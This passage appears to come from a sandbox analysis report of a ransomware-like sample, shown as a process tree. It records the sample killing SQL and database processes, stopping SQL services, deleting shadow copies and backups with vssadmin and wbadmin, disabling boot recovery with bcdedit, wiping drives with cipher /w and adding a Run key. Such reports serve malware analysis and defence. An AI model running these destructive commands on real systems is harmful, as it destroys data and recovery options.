      Suspicious use of WriteProcessMemory
      PID:3332
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im MsDtsSrvr.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2660
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:708
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlceip.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4704
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4816
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im fdlauncher.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4924
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im Ssms.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4448
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im Ssms.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5028
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE
      4⤵
      PID:760
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im SQLAGENT.EXE
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3340
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdhost.exe
      4⤵
      PID:3808
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im fdhost.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1904
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe
      4⤵
      PID:3112
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im ReportingServicesService.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im msftesql.exe
      4⤵
      PID:3488
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im msftesql.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1932
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe
      4⤵
      PID:3608
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im pg_ctl.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4700
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -impostgres.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -impostgres.exe
      4⤵
      PID:2108
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -impostgres.exe
        5⤵
        Kills process with taskkill
        
        PID:4460
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper100
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQLServerADHelper100
      4⤵
      PID:3952
    - - C:\Windows\system32\net.exe
        
        net stop MSSQLServerADHelper100
        5⤵
        
        PID:3144
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQLServerADHelper100
        6⤵
        
        PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQL$ISARS
      4⤵
      PID:4304
    - - C:\Windows\system32\net.exe
        
        net stop MSSQL$ISARS
        5⤵
        
        PID:3512
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$ISARS
        6⤵
        
        PID:4052
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW
    3⤵
    - System Location Discovery: System Language Discovery
    PID:408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQL$MSFW
      4⤵
      PID:3668
    - - C:\Windows\system32\net.exe
        
        net stop MSSQL$MSFW
        5⤵
        
        PID:1208
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$MSFW
        6⤵
        
        PID:4092
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$ISARS
      4⤵
      PID:4128
    - - C:\Windows\system32\net.exe
        
        net stop SQLAgent$ISARS
        5⤵
        
        PID:4656
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLAgent$ISARS
        6⤵
        
        PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$MSFW
      4⤵
      PID:2812
    - - C:\Windows\system32\net.exe
        
        net stop SQLAgent$MSFW
        5⤵
        
        PID:2468
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLAgent$MSFW
        6⤵
        
        PID:2336
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLBrowser
      4⤵
      PID:696
    - - C:\Windows\system32\net.exe
        
        net stop SQLBrowser
        5⤵
        
        PID:1212
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLBrowser
        6⤵
        
        PID:3392
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop REportServer$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop REportServer$ISARS
      4⤵
      PID:4964
    - - C:\Windows\system32\net.exe
        
        net stop REportServer$ISARS
        5⤵
        
        PID:4420
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop REportServer$ISARS
        6⤵
        
        PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLWriter
    3⤵
    - System Location Discovery: System Language Discovery
    PID:708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLWriter
      4⤵
      PID:4048
    - - C:\Windows\system32\net.exe
        
        net stop SQLWriter
        5⤵
        
        PID:3888
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLWriter
        6⤵
        
        PID:2116
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      PID:2588
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin.exe Delete Shadows /All /Quiet
        5⤵
        Interacts with shadow copies
        
        PID:4788
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet
      4⤵
      PID:2912
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -keepVersion:0 -quiet
        5⤵
        Deletes system backups
        
        PID:1680
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
      4⤵
      PID:1564
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin DELETE SYSTEMSTATEBACKUP
        5⤵
        Deletes System State backups
        Drops file in Windows directory
        
        PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
      4⤵
      PID:4380
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
        5⤵
        
        PID:4416
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive
      4⤵
      PID:1624
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic.exe SHADOWCOPY /nointeractive
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3112
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No
      4⤵
      PID:1860
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {default} recoverynabled No
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:3088
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:4808
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:4548
- - C:\Windows\SYSTEM32\cipher.exe
    cipher /w:\\?\C:
    3⤵
    PID:3904
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4808
- - C:\Windows\SYSTEM32\cipher.exe
    cipher /w:\\?\F:
    3⤵
    - Enumerates connected drives
    PID:3132
- - C:\Windows\SYSTEM32\cipher.exe
    cipher /w:\\?\A:
    3⤵
    - Enumerates connected drives
    PID:3340
- C:\Users\Admin\AppData\Local\Temp\8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
  \\?\C:\Users\Admin\AppData\Local\Temp\8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe -network
  2⤵
  - Adds Run key to start application
  PID:4468